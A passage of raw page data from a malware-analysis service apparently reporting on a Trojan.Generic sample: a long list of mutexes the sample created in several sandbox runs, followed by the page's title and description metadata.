50","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-53749","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-53749","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"Local\\x64_10MU_ACB10_S-1-5-5-0-53749","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-53749","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"},{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-59428","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-59428","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Global\\MsoShellExtRegAccess_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-59428","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-59428","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Q1jIibEAnOpLPFL7e9gLm","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2lz6ebd!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2lz6ebd!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2lz6ebd!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!2lz6ebd!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Local\\c:!users!2lz6ebd!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\c:!users!2lz6ebd!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\c:!users!2lz6ebd!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\c:!users!2lz6ebd!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"Q1jIibEAnOpLPFL7e9gLm","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-276767","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-276767","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"\\BaseNamedObjects\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:476:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:476:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_Formal1_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_AdHoc1_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\BaseNamedObjects\\MsoShellExtRegAccess_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Local\\SM0:476:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-276767","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"Local\\SM0:476:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"SM0:476:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-276767","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:476:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-83504","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-83504","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoSqmMutex_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Global\\MsoShellExtRegAccess_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-83504","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-83504","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"Global\\MsoSqmMutex_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-279847","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-279847","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5836:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5836:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\BaseNamedObjects\\MsoSqmMutex_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Local\\SM0:5836:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Local\\SM0:5836:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"SM0:5836:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-279847","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-279847","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5836:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\BaseNamedObjects\\ONetUrlWINWORD_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8676:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Local\\SM0:8676:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Local\\SM0:8676:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"SM0:8676:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8676:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8676:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7680:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7680:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"Local\\SM0:7680:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"name":"SM0:7680:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]}]}},"report_ids":{"sandbox_job_ids":["68508f654f1ab63295019b6d","68508f4793f3f8fbed0c3da1","5a41944a7ca3e1325e1f0adb","59f9d6707ca3e174ff77bcc3","68508f37731f9fb1a60d24cd"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 759fb4c0091a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 759fb4c0091a…. Malware family: Trojan.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 11 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 759fb4c0091a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 759fb4c0091a…. Malware family: Trojan.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 11 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 759fb4c0091a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 759fb4c0091a…. Malware family: Trojan.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 11 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4c","11",{}]]